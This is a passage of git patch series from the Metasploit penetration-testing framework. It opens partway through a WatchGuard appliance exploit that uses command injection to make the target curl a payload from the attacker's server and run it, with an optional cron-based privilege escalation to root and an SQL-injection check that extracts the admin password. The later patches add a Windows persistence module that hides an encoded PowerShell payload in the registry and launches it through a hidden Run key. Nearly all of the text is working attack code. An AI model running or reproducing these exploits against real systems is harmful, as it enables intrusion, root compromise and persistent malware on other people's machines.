@elf_sent = false + + resource_uri = '/' + downfile + + if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") + srv_host = Rex::Socket.source_address(rhost) + else + srv_host = datastore['SRVHOST'] + end + + service_url = 'https://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri + print_status("Starting up our web service on #{service_url} ...") + start_service({'Uri' => { + 'Proc' => Proc.new { |cli, req| + on_request_uri(cli, req) + }, + 'Path' => resource_uri + }}) + + filename = rand_text_alpha_lower(8) + vprint_status("Asking the appliance to download #{service_url}") + + #Use the cmd exec to pull in shell + dnld_cmd1 = "/usr/local/sbin/curl -k #{service_url} -o /tmp/#{filename}" + vprint_status("Telling appliance to run #{dnld_cmd1}") + send_cmd_exec("/ADMIN/mailqueue.spl", sid_cookie, dnld_cmd1) + register_file_for_cleanup("/tmp/#{filename}") + + #wait for payload download + wait_for_payload + + #Chmod the shell binary + chmod_cmd = "chmod +x /tmp/#{filename}" + print_status("Chmoding payload #{downfile}...") + send_cmd_exec("/ADMIN/mailqueue.spl",sid_cookie, chmod_cmd) + + if(datastore['GETROOT'] == true) + print_status("GETROOT set to true, we will use 'FixCorruptMail' privesc") + get_root(sid_cookie,filename) + else + print_status("GETROOT set to false, setting up a shell as 'nobody'") + + #exec revshell straight away + exec_cmd = "/tmp/#{filename}" + print_status("Running payload #{downfile}...") + send_cmd_exec("/ADMIN/mailqueue.spl",sid_cookie, exec_cmd, true) + end + + end + + def get_root(sid_cookie,filename) + print_status("Rooting can take up to 3 minutes, if you want quicker access retry with GETROOT => false") + + #Touch dummy file as part of privesc + touch_cmd="touch /tmp/dummyfile" + vprint_status("Creating dummy file...") + send_cmd_exec("/ADMIN/mailqueue.spl", sid_cookie, touch_cmd) + + #Put the shell injection line into badqids + setup_privesc = "echo \"../../../../../../tmp/dummyfile;/tmp/#{filename}\" > /var/tmp/badqids" + send_cmd_exec("/ADMIN/mailqueue.spl", sid_cookie, setup_privesc, true) + + #Need both these files to exploit privesc, delete them once shell opened + register_file_for_cleanup("/var/tmp/badqids") + register_file_for_cleanup("/tmp/dummyfile") + + #Wait for crontab to run vulnerable script + print_status("Badqids created, waiting for vulnerable script to be called by crontab...") + select(nil,nil,nil,180) #Wait 3 minutes to ensure cron script is run + print_status("Ran out of time, should have root shell by now.") + + end + + def send_cmd_exec(uri,sid_cookie,os_cmd, blocking=false) + #This is a handler function that makes HTTP calls to exploit the command injection issue + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, "#{uri}"), + 'cookie' => "sid=#{sid_cookie}", + 'encode_params' => true, + 'vars_get' => { + 'f' => 'dnld', + 'id' => ";#{os_cmd}" + } + }) + + #Handle cmd exec failures + if (!res and blocking == false) + fail_with(Failure::Unknown, "Unable to deploy payload") + else + return res + end + end + + # Handle incoming requests from the server + def on_request_uri(cli, request) + vprint_status("on_request_uri called: #{request.inspect}") + if (not @pl) + print_error("A request came in, but the payload wasn't ready yet!") + return + end + print_status("Sending the payload to the server...") + @elf_sent = true + send_response(cli, @pl) + end + + #Wait for the data to be sent + def wait_for_payload + waited = 0 + while (not @elf_sent) + select(nil, nil, nil, 1) + waited += 1 + if (waited > 10) + fail_with(Failure::Unknown, "Target didn't request the payload.") + end + end + end +end From f48bb4250e69c64fe8c49896b65f3b61e6502cce Mon Sep 17 00:00:00 2001 From: Daniel Jensen <daniel.jensen.nz@gmail.com> Date: Wed, 1 Jul 2015 22:03:42 +1200 Subject: [PATCH 0143/2172] Removed some overly verbose output. --- modules/exploits/freebsd/http/watchguard_remote_root.rb | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/modules/exploits/freebsd/http/watchguard_remote_root.rb b/modules/exploits/freebsd/http/watchguard_remote_root.rb index 1c734742c5..15e18790c1 100644 --- a/modules/exploits/freebsd/http/watchguard_remote_root.rb +++ b/modules/exploits/freebsd/http/watchguard_remote_root.rb @@ -46,7 +46,7 @@ class Metasploit3 < Msf::Exploit::Remote 'SSL' => true }, 'DefaultTarget' => 0, - 'DisclosureDate' => 'June 29 2015' + 'DisclosureDate' => 'Jun 29 2015' )) register_options( @@ -66,9 +66,8 @@ class Metasploit3 < Msf::Exploit::Remote 'cookie' => "sid=1 AND 1=CAST((select password from sds_users where login='admin' limit 1) as int)" }) uri1 = normalize_uri(target_uri.path, '/borderpost/imp/compose.php3') - vprint_status(uri1) if res and res.body =~ /invalid input syntax for integer/ - vprint_status("Looks vulnerable to the SQLi issue, probably fully vuln") + vprint_status("Looks vulnerable to the SQLi issue, probably fully vulnerable") return Exploit::CheckCode::Vulnerable else vprint_status("**Sad trumpet sound**") @@ -103,7 +102,6 @@ class Metasploit3 < Msf::Exploit::Remote #Find the hash token needed to login login_hash = '' - vprint_status(get_login_hash.body) get_login_hash.body.each_line do |line| next if line !~ /name="hash" value="(.*)"/ login_hash = $1 From bd94f50fb02f85c16ff7ba6610d4486a031026a3 Mon Sep 17 00:00:00 2001 From: Donny Maasland <donny.maasland@fox-it.com> Date: Wed, 1 Jul 2015 12:26:46 +0200 Subject: [PATCH 0144/2172] add registry_persistence.rb --- .../windows/local/registry_persistence.rb | 191 ++++++++++++++++++ 1 file changed, 191 insertions(+) create mode 100644 modules/exploits/windows/local/registry_persistence.rb diff --git a/modules/exploits/windows/local/registry_persistence.rb b/modules/exploits/windows/local/registry_persistence.rb new file mode 100644 index 0000000000..2f536b6a13 --- /dev/null +++ b/modules/exploits/windows/local/registry_persistence.rb @@ -0,0 +1,191 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/exploit/powershell' +require 'msf/core/post/file' + + class Metasploit4 < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Exploit::Powershell + include Msf::Post::Windows::Registry + include Msf::Post::File + + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Windows Registry Only Persistence', + 'Description' => %q{ + This module will install a payload that is executed during boot. + It will be executed either at user logon or system startup via the registry + value in "CurrentVersion\Run" (depending on privilege and selected method). + The payload will be installed completely in registry. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Donny Maasland <donny.maasland[at]fox-it.com>', + ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ], + 'Targets' => + [ + [ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X86_64 ] } ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => "Jul 1 2015", + 'DefaultOptions' => + { + 'DisablePayloadHandler' => 'true' + } + )) + + register_options([ + OptEnum.new('STARTUP', + [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]), + OptString.new('BLOB_REG_KEY', + [false, 'The registry key to use for storing the payload blob. (Default: random)' ]), + OptString.new('BLOB_REG_NAME', + [false, 'The name to use for storing the payload blob. (Default: random)' ]), + OptString.new('RUN_NAME', + [false, 'The name to use for the \'Run\' key. (Default: random)' ]), + OptEnum.new('TECHNIQUE', [true, 'Execution technique', 'PSH', ['PSH']]), # Just PSH for now, might add others later. + ], self.class) + end + + def generate_payload_blob + if datastore['TECHNIQUE'] == 'PSH' + blob = cmd_psh_payload(payload.encoded,payload_instance.arch.first,use_single_quotes: true, encode_final_payload: true).split(' ')[-1] + end + + return blob + end + + def generate_cmd(root_path, blob_key_name, blob_key_reg) + if datastore['TECHNIQUE'] == 'PSH' + cmd = "%COMSPEC% /b /c start /b /min powershell -nop -c $y=(Get-Item('#{root_path}:#{blob_key_name}')).GetValue('#{blob_key_reg}'); powershell -nop -e $y" # There might be a better way to do this. + end + return cmd + end + + def generate_blob_reg + blob_reg_key = datastore["BLOB_REG_KEY"] || "Software\\#{Rex::Text.rand_text_alphanumeric(8)}" + blob_reg_name = datastore["BLOB_REG_NAME"] || Rex::Text.rand_text_alphanumeric(8) + return blob_reg_key, blob_reg_name + end + + def generate_cmd_reg + cmd_reg = datastore["RUN_NAME"] || Rex::Text.rand_text_alphanumeric(8) + return cmd_reg + end + + def install_blob(root_path, blob, blob_reg_key, blob_reg_name) + blob_reg_key = "#{root_path}\\#{blob_reg_key}" + if not registry_enumkeys(blob_reg_key) + if registry_createkey(blob_reg_key) + print_good("Created registry key #{blob_reg_key}") + else + fail_with(Failure::Unknown,"Failed to create key #{blob_reg_key}") + end + end + + if registry_setvaldata(blob_reg_key, blob_reg_name, blob, "REG_SZ") + print_good("Installed payload blob to #{blob_reg_key}\\#{blob_reg_name}") + else + fail_with(Failure::Unknown,'Failed to open the registry key for writing') + end + + end + + def install_cmd(cmd, cmd_reg, root_path) + if registry_setvaldata("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", cmd_reg, cmd, 'REG_EXPAND_SZ') + print_good("Installed run key #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{cmd_reg}") + else + fail_with(Failure::Unknown,'Could not install run key') + end + end + + def get_root_path + if datastore["STARTUP"] == 'USER' + root_path = 'HKCU' + else + root_path = 'HKLM' + end + return root_path + end + + def log_file(log_path = nil) # Thanks Meatballs for this + # Get hostname + host = session.sys.config.sysinfo["Computer"] + + # Create Filename info to be appended to downloaded files + filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") + + # Create a directory for the logs + if log_path + logs = ::File.join(log_path, 'logs', 'persistence', + Rex::FileUtils.clean_path(host + filenameinfo)) + else + logs = ::File.join(Msf::Config.log_directory, 'persistence', + Rex::FileUtils.clean_path(host + filenameinfo)) + end + + # Create the log directory + ::FileUtils.mkdir_p(logs) + + # logfile name + logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc" + logfile + end + + def create_cleanup(root_path, blob_reg_key, cmd_reg) # Thanks Meatballs for this + clean_rc = log_file() + @clean_up_rc = "" + @clean_up_rc << "reg deletekey -k '#{root_path}\\#{blob_reg_key}'\n" + @clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v '#{cmd_reg}'\n" + file_local_write(clean_rc, @clean_up_rc) + print_status("Clean up Meterpreter RC file: #{clean_rc}") + + report_note(:host => session.sys.config.sysinfo["Computer"], + :type => "host.persistance.cleanup", + :data => { + :local_id => session.sid, + :stype => session.type, + :desc => session.info, + :platform => session.platform, + :via_payload => session.via_payload, + :via_exploit => session.via_exploit, + :created_at => Time.now.utc, + :commands => @clean_up_rc + } + ) + end + + def exploit + print_status('Generating payload blob..') + blob = generate_payload_blob + if blob.length <= 16383 + print_good("Generated payload, #{blob.length} bytes") + else + fail_with(Failure::Unknown, "Payload blob is too large (#{blob.length} bytes)") + end + + root_path = get_root_path + print_status("Root path is #{root_path}") + + blob_reg_key, blob_reg_name = generate_blob_reg + cmd = generate_cmd(root_path, blob_reg_key, blob_reg_name) + cmd_reg = generate_cmd_reg + + print_status('Installing payload blob..') + install_blob(root_path, blob, blob_reg_key, blob_reg_name) + + print_status('Installing run key') + install_cmd(cmd, cmd_reg, root_path) + + create_cleanup(root_path, blob_reg_key, cmd_reg) + end + end \ No newline at end of file From a3db6c6ae314f9823b9428b88e40fba2533bf949 Mon Sep 17 00:00:00 2001 From: Donny Maasland <donny.maasland@fox-it.com> Date: Wed, 1 Jul 2015 12:47:10 +0200 Subject: [PATCH 0145/2172] Msftidy fix --- .../windows/local/registry_persistence.rb | 91 ++++++++++--------- 1 file changed, 46 insertions(+), 45 deletions(-) diff --git a/modules/exploits/windows/local/registry_persistence.rb b/modules/exploits/windows/local/registry_persistence.rb index 2f536b6a13..530c87a115 100644 --- a/modules/exploits/windows/local/registry_persistence.rb +++ b/modules/exploits/windows/local/registry_persistence.rb @@ -102,9 +102,9 @@ require 'msf/core/post/file' def install_cmd(cmd, cmd_reg, root_path) if registry_setvaldata("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", cmd_reg, cmd, 'REG_EXPAND_SZ') - print_good("Installed run key #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{cmd_reg}") + print_good("Installed run key #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{cmd_reg}") else - fail_with(Failure::Unknown,'Could not install run key') + fail_with(Failure::Unknown,'Could not install run key') end end @@ -118,60 +118,60 @@ require 'msf/core/post/file' end def log_file(log_path = nil) # Thanks Meatballs for this - # Get hostname - host = session.sys.config.sysinfo["Computer"] + # Get hostname + host = session.session_host - # Create Filename info to be appended to downloaded files - filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") + # Create Filename info to be appended to downloaded files + filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") - # Create a directory for the logs - if log_path - logs = ::File.join(log_path, 'logs', 'persistence', - Rex::FileUtils.clean_path(host + filenameinfo)) - else - logs = ::File.join(Msf::Config.log_directory, 'persistence', - Rex::FileUtils.clean_path(host + filenameinfo)) - end + # Create a directory for the logs + if log_path + logs = ::File.join(log_path, 'logs', 'persistence', + Rex::FileUtils.clean_path(host + filenameinfo)) + else + logs = ::File.join(Msf::Config.log_directory, 'persistence', + Rex::FileUtils.clean_path(host + filenameinfo)) + end - # Create the log directory - ::FileUtils.mkdir_p(logs) + # Create the log directory + ::FileUtils.mkdir_p(logs) - # logfile name - logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc" - logfile - end + # logfile name + logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc" + logfile + end def create_cleanup(root_path, blob_reg_key, cmd_reg) # Thanks Meatballs for this - clean_rc = log_file() - @clean_up_rc = "" - @clean_up_rc << "reg deletekey -k '#{root_path}\\#{blob_reg_key}'\n" - @clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v '#{cmd_reg}'\n" - file_local_write(clean_rc, @clean_up_rc) - print_status("Clean up Meterpreter RC file: #{clean_rc}") + clean_rc = log_file() + @clean_up_rc = "" + @clean_up_rc << "reg deletekey -k '#{root_path}\\#{blob_reg_key}'\n" + @clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v '#{cmd_reg}'\n" + file_local_write(clean_rc, @clean_up_rc) + print_status("Clean up Meterpreter RC file: #{clean_rc}") - report_note(:host => session.sys.config.sysinfo["Computer"], - :type => "host.persistance.cleanup", - :data => { - :local_id => session.sid, - :stype => session.type, - :desc => session.info, - :platform => session.platform, - :via_payload => session.via_payload, - :via_exploit => session.via_exploit, - :created_at => Time.now.utc, - :commands => @clean_up_rc - } - ) - end + report_note(:host => session.session_host, + :type => "host.persistance.cleanup", + :data => { + :local_id => session.sid, + :stype => session.type, + :desc => session.info, + :platform => session.platform, + :via_payload => session.via_payload, + :via_exploit => session.via_exploit, + :created_at => Time.now.utc, + :commands => @clean_up_rc + } + ) + end def exploit - print_status('Generating payload blob..') + print_status('Generating payload blob..') blob = generate_payload_blob if blob.length <= 16383 - print_good("Generated payload, #{blob.length} bytes") + print_good("Generated payload, #{blob.length} bytes") else - fail_with(Failure::Unknown, "Payload blob is too large (#{blob.length} bytes)") - end + fail_with(Failure::Unknown, "Payload blob is too large (#{blob.length} bytes)") + end root_path = get_root_path print_status("Root path is #{root_path}") @@ -188,4 +188,5 @@ require 'msf/core/post/file' create_cleanup(root_path, blob_reg_key, cmd_reg) end - end \ No newline at end of file + end + \ No newline at end of file From d0845b8c66692ee4d026fa8bd417afb9401ec53d Mon Sep 17 00:00:00 2001 From: Donny Maasland <donny.maasland@fox-it.com> Date: Wed, 1 Jul 2015 12:50:34 +0200 Subject: [PATCH 0146/2172] msftidy fix --- modules/exploits/windows/local/registry_persistence.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/windows/local/registry_persistence.rb b/modules/exploits/windows/local/registry_persistence.rb index 530c87a115..5b2ce449ea 100644 --- a/modules/exploits/windows/local/registry_persistence.rb +++ b/modules/exploits/windows/local/registry_persistence.rb @@ -97,7 +97,7 @@ require 'msf/core/post/file' else fail_with(Failure::Unknown,'Failed to open the registry key for writing') end - + end def install_cmd(cmd, cmd_reg, root_path) @@ -179,7 +179,7 @@ require 'msf/core/post/file' blob_reg_key, blob_reg_name = generate_blob_reg cmd = generate_cmd(root_path, blob_reg_key, blob_reg_name) cmd_reg = generate_cmd_reg - + print_status('Installing payload blob..') install_blob(root_path, blob, blob_reg_key, blob_reg_name) @@ -189,4 +189,4 @@ require 'msf/core/post/file' create_cleanup(root_path, blob_reg_key, cmd_reg) end end - \ No newline at end of file + From 335487afa043427b1c545da763f42764ecc17f46 Mon Sep 17 00:00:00 2001 From: Donny Maasland <donny.maasland@fox-it.com> Date: Wed, 1 Jul 2015 16:09:55 +0200 Subject: [PATCH 0147/2172] fixes --- .../windows/local/registry_persistence.rb | 251 +++++++++--------- 1 file changed, 120 insertions(+), 131 deletions(-) diff --git a/modules/exploits/windows/local/registry_persistence.rb b/modules/exploits/windows/local/registry_persistence.rb index 5b2ce449ea..4ea5e81def 100644 --- a/modules/exploits/windows/local/registry_persistence.rb +++ b/modules/exploits/windows/local/registry_persistence.rb @@ -7,15 +7,14 @@ require 'msf/core' require 'msf/core/exploit/powershell' require 'msf/core/post/file' - class Metasploit4 < Msf::Exploit::Local - Rank = ExcellentRanking +class Metasploit4 < Msf::Exploit::Local + Rank = ExcellentRanking - include Msf::Exploit::Powershell - include Msf::Post::Windows::Registry - include Msf::Post::File + include Msf::Exploit::Powershell + include Msf::Post::Windows::Registry + include Msf::Post::File - - def initialize(info = {}) + def initialize(info = {}) super(update_info(info, 'Name' => 'Windows Registry Only Persistence', 'Description' => %q{ @@ -30,10 +29,10 @@ require 'msf/core/post/file' 'Donny Maasland <donny.maasland[at]fox-it.com>', ], 'Platform' => [ 'win' ], - 'SessionTypes' => [ 'meterpreter' ], + 'SessionTypes' => [ 'meterpreter', 'cmd' ], 'Targets' => [ - [ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X86_64 ] } ] + [ 'Automatic', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => "Jul 1 2015", @@ -52,141 +51,131 @@ require 'msf/core/post/file' [false, 'The name to use for storing the payload blob. (Default: random)' ]), OptString.new('RUN_NAME', [false, 'The name to use for the \'Run\' key. (Default: random)' ]), - OptEnum.new('TECHNIQUE', [true, 'Execution technique', 'PSH', ['PSH']]), # Just PSH for now, might add others later. ], self.class) + end + + def generate_payload_blob + opts = { + use_single_quotes: true, + encode_final_payload: true, + } + blob = cmd_psh_payload(payload.encoded,payload_instance.arch.first, opts).split(' ')[-1] + return blob + end + + def generate_cmd(root_path, blob_key_name, blob_key_reg) + cmd = "%COMSPEC% /b /c start /b /min powershell -w hidden -nop -c \"powershell -nop -w hidden -e (Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}')\"" # There might be a better way to do this. + return cmd + end + + def generate_blob_reg + blob_reg_key = datastore['BLOB_REG_KEY'] || "Software\\#{Rex::Text.rand_text_alphanumeric(8)}" + blob_reg_name = datastore['BLOB_REG_NAME'] || Rex::Text.rand_text_alphanumeric(8) + return blob_reg_key, blob_reg_name + end + + def generate_cmd_reg + cmd_reg = datastore['RUN_NAME'] || Rex::Text.rand_text_alphanumeric(8) + return cmd_reg + end + + def install_blob(root_path, blob, blob_reg_key, blob_reg_name) + blob_reg_key = "#{root_path}\\#{blob_reg_key}" + if not registry_enumkeys(blob_reg_key) + unless registry_createkey(blob_reg_key) + fail_with(Failure::Unknown,"Failed to create key #{blob_reg_key}") + end + print_good("Created registry key #{blob_reg_key}") end - def generate_payload_blob - if datastore['TECHNIQUE'] == 'PSH' - blob = cmd_psh_payload(payload.encoded,payload_instance.arch.first,use_single_quotes: true, encode_final_payload: true).split(' ')[-1] - end + unless registry_setvaldata(blob_reg_key, blob_reg_name, blob, "REG_SZ") + fail_with(Failure::Unknown,'Failed to open the registry key for writing') + end + print_good("Installed payload blob to #{blob_reg_key}\\#{blob_reg_name}") + end - return blob + def install_cmd(cmd, cmd_reg, root_path) + unless registry_setvaldata("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", cmd_reg, cmd, 'REG_EXPAND_SZ') + fail_with(Failure::Unknown,'Could not install run key') + end + print_good("Installed run key #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{cmd_reg}") + end + + def get_root_path + if datastore['STARTUP'] == 'USER' + root_path = 'HKCU' + else + root_path = 'HKLM' + end + return root_path + end + + def log_file(log_path = nil) # Thanks Meatballs for this + # Get hostname + host = session.session_host + + # Create Filename info to be appended to downloaded files + filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") + + # Create a directory for the logs + if log_path + logs = ::File.join(log_path, 'logs', 'persistence', + Rex::FileUtils.clean_path(host + filenameinfo)) + else + logs = ::File.join(Msf::Config.log_directory, 'persistence', + Rex::FileUtils.clean_path(host + filenameinfo)) end - def generate_cmd(root_path, blob_key_name, blob_key_reg) - if datastore['TECHNIQUE'] == 'PSH' - cmd = "%COMSPEC% /b /c start /b /min powershell -nop -c $y=(Get-Item('#{root_path}:#{blob_key_name}')).GetValue('#{blob_key_reg}'); powershell -nop -e $y" # There might be a better way to do this. - end - return cmd - end + # Create the log directory + ::FileUtils.mkdir_p(logs) - def generate_blob_reg - blob_reg_key = datastore["BLOB_REG_KEY"] || "Software\\#{Rex::Text.rand_text_alphanumeric(8)}" - blob_reg_name = datastore["BLOB_REG_NAME"] || Rex::Text.rand_text_alphanumeric(8) - return blob_reg_key, blob_reg_name - end + # logfile name + logfile = ::File.join(logs, Rex::FileUtils.clean_path(host + filenameinfo) + '.rc') + logfile + end - def generate_cmd_reg - cmd_reg = datastore["RUN_NAME"] || Rex::Text.rand_text_alphanumeric(8) - return cmd_reg - end + def create_cleanup(root_path, blob_reg_key, cmd_reg) # Thanks Meatballs for this + clean_rc = log_file() + @clean_up_rc = "" + @clean_up_rc << "reg deletekey -k '#{root_path}\\#{blob_reg_key}'\n" + @clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v '#{cmd_reg}'\n" + file_local_write(clean_rc, @clean_up_rc) + print_status("Clean up Meterpreter RC file: #{clean_rc}") - def install_blob(root_path, blob, blob_reg_key, blob_reg_name) - blob_reg_key = "#{root_path}\\#{blob_reg_key}" - if not registry_enumkeys(blob_reg_key) - if registry_createkey(blob_reg_key) - print_good("Created registry key #{blob_reg_key}") - else - fail_with(Failure::Unknown,"Failed to create key #{blob_reg_key}") - end - end + report_note(:host => session.session_host, + type: 'host.persistance.cleanup', + data: { + local_id: session.sid, + stype: session.type, + desc: session.info, + platform: session.platform, + via_payload: session.via_payload, + via_exploit: session.via_exploit, + created_at: Time.now.utc, + commands: @clean_up_rc + } + ) + end - if registry_setvaldata(blob_reg_key, blob_reg_name, blob, "REG_SZ") - print_good("Installed payload blob to #{blob_reg_key}\\#{blob_reg_name}") - else - fail_with(Failure::Unknown,'Failed to open the registry key for writing') - end + def exploit + print_status('Generating payload blob..') + blob = generate_payload_blob + print_good("Generated payload, #{blob.length} bytes") - end + root_path = get_root_path + print_status("Root path is #{root_path}") - def install_cmd(cmd, cmd_reg, root_path) - if registry_setvaldata("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", cmd_reg, cmd, 'REG_EXPAND_SZ') - print_good("Installed run key #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{cmd_reg}") - else - fail_with(Failure::Unknown,'Could not install run key') - end - end + blob_reg_key, blob_reg_name = generate_blob_reg + cmd = generate_cmd(root_path, blob_reg_key, blob_reg_name) + cmd_reg = generate_cmd_reg - def get_root_path - if datastore["STARTUP"] == 'USER' - root_path = 'HKCU' - else - root_path = 'HKLM' - end - return root_path - end + print_status('Installing payload blob..') + install_blob(root_path, blob, blob_reg_key, blob_reg_name) - def log_file(log_path = nil) # Thanks Meatballs for this - # Get hostname - host = session.session_host + print_status('Installing run key') + install_cmd(cmd, cmd_reg, root_path) - # Create Filename info to be appended to downloaded files - filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") - - # Create a directory for the logs - if log_path - logs = ::File.join(log_path, 'logs', 'persistence', - Rex::FileUtils.clean_path(host + filenameinfo)) - else - logs = ::File.join(Msf::Config.log_directory, 'persistence', - Rex::FileUtils.clean_path(host + filenameinfo)) - end - - # Create the log directory - ::FileUtils.mkdir_p(logs) - - # logfile name - logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc" - logfile - end - - def create_cleanup(root_path, blob_reg_key, cmd_reg) # Thanks Meatballs for this - clean_rc = log_file() - @clean_up_rc = "" - @clean_up_rc << "reg deletekey -k '#{root_path}\\#{blob_reg_key}'\n" - @clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v '#{cmd_reg}'\n" - file_local_write(clean_rc, @clean_up_rc) - print_status("Clean up Meterpreter RC file: #{clean_rc}") - - report_note(:host => session.session_host, - :type => "host.persistance.cleanup", - :data => { - :local_id => session.sid, - :stype => session.type, - :desc => session.info, - :platform => session.platform, - :via_payload => session.via_payload, - :via_exploit => session.via_exploit, - :created_at => Time.now.utc, - :commands => @clean_up_rc - } - ) - end - - def exploit - print_status('Generating payload blob..') - blob = generate_payload_blob - if blob.length <= 16383 - print_good("Generated payload, #{blob.length} bytes") - else - fail_with(Failure::Unknown, "Payload blob is too large (#{blob.length} bytes)") - end - - root_path = get_root_path - print_status("Root path is #{root_path}") - - blob_reg_key, blob_reg_name = generate_blob_reg - cmd = generate_cmd(root_path, blob_reg_key, blob_reg_name) - cmd_reg = generate_cmd_reg - - print_status('Installing payload blob..') - install_blob(root_path, blob, blob_reg_key, blob_reg_name) - - print_status('Installing run key') - install_cmd(cmd, cmd_reg, root_path) - - create_cleanup(root_path, blob_reg_key, cmd_reg) - end - end + create_cleanup(root_path, blob_reg_key, cmd_reg) + end +end From 2e48bae71cfc203b7a482b7c3b1b535115243bb1 Mon Sep 17 00:00:00 2001 From: Donny Maasland <donny.maasland@fox-it.com> Date: Wed, 1 Jul 2015 16:15:13 +0200 Subject: [PATCH 0148/2172] fixes --- modules/exploits/windows/local/registry_persistence.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/local/registry_persistence.rb b/modules/exploits/windows/local/registry_persistence.rb index 4ea5e81def..8f20f1aea0 100644 --- a/modules/exploits/windows/local/registry_persistence.rb +++ b/modules/exploits/windows/local/registry_persistence.rb @@ -63,7 +63,7 @@ class Metasploit4 < Msf::Exploit::Local return blob end - def generate_cmd(root_path, blob_key_name, blob_key_reg) + def generate_cmd(root_path, blob_key_name, blob_key_reg) cmd = "%COMSPEC% /b /c start /b /min powershell -w hidden -nop -c \"powershell -nop -w hidden -e (Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}')\"" # There might be a better way to do this. return cmd end @@ -85,7 +85,7 @@ class Metasploit4 < Msf::Exploit::Local unless registry_createkey(blob_reg_key) fail_with(Failure::Unknown,"Failed to create key #{blob_reg_key}") end - print_good("Created registry key #{blob_reg_key}") + print_good("Created registry key #{blob_reg_key}") end unless registry_setvaldata(blob_reg_key, blob_reg_name, blob, "REG_SZ") From 20708ebc82632782b9180b2de95678d753101662 Mon Sep 17 00:00:00 2001 From: Donny Maasland <donny.maasland@fox-it.com> Date: Wed, 1 Jul 2015 16:45:03 +0200 Subject: [PATCH 0149/2172] Add a check to prevent accidental deletion of existing registry keys --- .../exploits/windows/local/registry_persistence.rb | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) diff --git a/modules/exploits/windows/local/registry_persistence.rb b/modules/exploits/windows/local/registry_persistence.rb index 8f20f1aea0..44df3d9c6e 100644 --- a/modules/exploits/windows/local/registry_persistence.rb +++ b/modules/exploits/windows/local/registry_persistence.rb @@ -81,17 +81,20 @@ class Metasploit4 < Msf::Exploit::Local def install_blob(root_path, blob, blob_reg_key, blob_reg_name) blob_reg_key = "#{root_path}\\#{blob_reg_key}" + new_key = false if not registry_enumkeys(blob_reg_key) unless registry_createkey(blob_reg_key) fail_with(Failure::Unknown,"Failed to create key #{blob_reg_key}") end print_good("Created registry key #{blob_reg_key}") + new_key = true end unless registry_setvaldata(blob_reg_key, blob_reg_name, blob, "REG_SZ") fail_with(Failure::Unknown,'Failed to open the registry key for writing') end print_good("Installed payload blob to #{blob_reg_key}\\#{blob_reg_name}") + return new_key end def install_cmd(cmd, cmd_reg, root_path) @@ -134,10 +137,13 @@ class Metasploit4 < Msf::Exploit::Local logfile end - def create_cleanup(root_path, blob_reg_key, cmd_reg) # Thanks Meatballs for this + def create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key) # Thanks Meatballs for this clean_rc = log_file() @clean_up_rc = "" - @clean_up_rc << "reg deletekey -k '#{root_path}\\#{blob_reg_key}'\n" + @clean_up_rc << "reg deleteval -k '#{root_path}\\#{blob_reg_key}' -v '#{blob_reg_name}'\n" + if new_key + @clean_up_rc << "reg deletekey -k '#{root_path}\\#{blob_reg_key}'\n" + end @clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v '#{cmd_reg}'\n" file_local_write(clean_rc, @clean_up_rc) print_status("Clean up Meterpreter RC file: #{clean_rc}") @@ -170,12 +176,12 @@ class Metasploit4 < Msf::Exploit::Local cmd_reg = generate_cmd_reg print_status('Installing payload blob..') - install_blob(root_path, blob, blob_reg_key, blob_reg_name) + new_key = install_blob(root_path, blob, blob_reg_key, blob_reg_name) print_status('Installing run key') install_cmd(cmd, cmd_reg, root_path) - 